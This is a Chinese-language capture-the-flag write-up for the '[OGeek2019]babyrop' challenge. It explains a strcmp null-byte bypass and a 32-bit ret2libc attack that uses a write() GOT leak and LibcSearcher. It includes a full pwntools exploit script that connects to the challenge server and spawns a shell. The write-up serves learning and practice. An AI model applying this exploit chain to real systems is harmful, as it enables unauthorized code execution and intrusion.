writeUP-[OGeek2019]babyrop 1

声明:本文用途为供自己学习

一、思路

本题之前做过类似题型,在此主要记录使用LibcSearcher时遇到的问题。
在这里插入图片描述
在这里插入图片描述


程序会从一个文件中取出一个随机字符串,并从输入中读字符串,将两个字符串用进行比较strcmp进行比较,如果字符串相同,则程序不退出,输出Correct并将输入字符串的第8个数字作为返回值,作为下一个函数的参数,决定第二次输入字符串的最大长度。而buf到ebp的偏移量为0xE7(231),考虑到char的长度为1byte=8bit,可以表示的十进制的最大值为255,可以有20个byte用来构造ROP链。由于程序中没有system函数,利用ret2libc的方法。

二、攻击过程

(一)审计代码、绕过strcmp函数

在这里插入图片描述

buf = b'\0' + b'a' * (0x7 - 1) + p32(255)
# payload1=b'\x00' + b‘\xff' * 7 #(转义字符)

s的值a1,为main函数中输入的随机数,v1的值为srrlen(buf),当buf第一位为\0时,v5=0,strcmp因为比较长度为0,所以在判断长度内,没有不相等的字符串,于是函数返回值为输入字符串的第八个字节。在下一个函数里,该数字决定了可输入字符串的最大长度,于是将其设置为255。(P32(255)的意义等同于 ff 00 00 00(小端序), 和\xff是一个意思)

(二)泄露libc的相关地址信息

elf = ELF('./pwn')
write_plt = elf.plt['write']
write_got = elf.got['write'] ## 可以是read,下面相应推测函数真实地址的位置要改成read
main_addr = 0x8048825 # elf.symbols['main'] (32位程序不可通过symbols来找main)

payload = b'a' * (0xe7 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) 
io.sendline(payload)

write_addr = u32(io.recv(4))
print(hex(write_addr))


关于传递main函数地址的位置:由于write_plt作为为retuen address,那么write_plt后应该紧接着传递一个ebp地址作为write函数结尾时的ret的返回地址,write有三个参数,第一个为1,第二个为write_got表的地址(该地址不是write的真实地址,其内容才是)。第三个为读取长度,由于32为程序的地址长度为4byte,该参数穿4即可。
在接收返回地址时一定要确保’CORRECT\n‘已经被接收。

(三)利用LibcSearcher计算system(“/bin/sh”)的相关地址

libc = LibcSearcher('write',write_addr) ## 可以是read
libc_base = write_addr - libc.dump('write') ## 可以是read
sys_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')


# libc = ELF("./libc-2.23.so")
# libc_base = write_addr - libc.symbols['write']
# sys_addr = libc_base + libc.symbols['system']
# binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()

首先要确保自己的libcSearcher没有问题,有问题则不能攻击成功,比如我的wsl、kali、Ubuntu20中不能正常攻击(也可能单纯是LibcSeacher的问题),ubuntu18的虚拟机里就可以。
利用现成的libc库并不能攻击成功,不清楚原因,有待后续探究

三、攻击脚本

from pwn import * 
from LibcSearcher import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
ifRemote = 1
if ifRemote:
	io = remote("node4.buuoj.cn",26390)
else:
	io = process("./pwn1")

buf = b'\0' + b'a' * (0x7 - 1) + p32(255)
io.sendline(buf)
#io.recvuntil('Correct\n')
io.recvline()
# io.recv()
elf = ELF('./pwn')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x8048825 # elf.symbols['main']

payload = b'a' * (0xe7 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) 
io.sendline(payload)

write_addr = u32(io.recv(4))
print(hex(write_addr))


libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
sys_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')


# libc = ELF("./libc-2.23.so")
# libc_base = write_addr - libc.symbols['read']
# sys_addr = libc_base + libc.symbols['system']
# binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()

io.sendline(buf)
# io.recvuntil('Correct\n')
io.recvline()

payload2 = b'a' * (0xe7 + 4) + p32(sys_addr) + p32(1) + p32(binsh_addr)
io.sendline(payload2)
io.interactive()

四、遇到的问题

(一)LibcSearcher的库不全,不能够正常找到对应的库

在这里插入图片描述

(二)ROP链的构造

在return address后加入什么样的gadget不理解:在return address后,由于每个函数最后都有ret指令,所以要加ebp,可以是垃圾字节(奇怪,那puts函数呢?不过那个是64位的,可能有特殊)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值